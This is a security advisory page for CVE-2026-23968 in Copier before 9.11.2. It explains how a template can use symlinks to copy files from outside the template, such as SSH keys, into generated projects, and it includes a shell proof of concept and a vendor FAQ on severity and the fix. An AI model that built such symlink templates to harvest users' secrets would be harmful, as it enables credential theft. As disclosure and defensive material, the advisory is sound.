CVE-2026-23968

Workarounds

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References

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Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

• Illegally include a file in the generated project via symlink resolution:

  echo "s3cr3t" > secret.txt
  
  mkdir src/
  pushd src/
  ln -s ../secret.txt stolen-secret.txt
  popd
  
  uvx copier copy src/ dst/
  
  cat dst/stolen-secret.txt
  #s3cr3t
  

• Illegally include a directory in the generated project via symlink resolution:

  mkdir secrets/
  pushd secrets/
  echo "s3cr3t" > secret.txt
  popd
  
  mkdir src/
  pushd src/
  ln -s ../secrets stolen-secrets
  popd
  
  uvx copier copy src/ dst/
  
  tree dst/
  # dst/
  # └── stolen-secrets
  #     └── secret.txt
  #
  # 1 directory, 1 file
  cat dst/stolen-secrets/secret.txt
  # s3cr3t
  

CVE-2026-23968 has a CVSS score of 5.5 (Medium). The vector is requires local access, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.11.2); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2026-23968? CVE-2026-23968 is a medium-severity security vulnerability in copier (pip), affecting versions < 9.11.2. It is fixed in 9.11.2.
2. How severe is CVE-2026-23968? CVE-2026-23968 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of copier are affected by CVE-2026-23968? copier (pip) versions < 9.11.2 is affected.
4. Is there a fix for CVE-2026-23968? Yes. CVE-2026-23968 is fixed in 9.11.2. Upgrade to this version or later.
5. Is CVE-2026-23968 exploitable, and should I be worried? Whether CVE-2026-23968 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-23968 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-23968? Upgrade copier to 9.11.2 or later.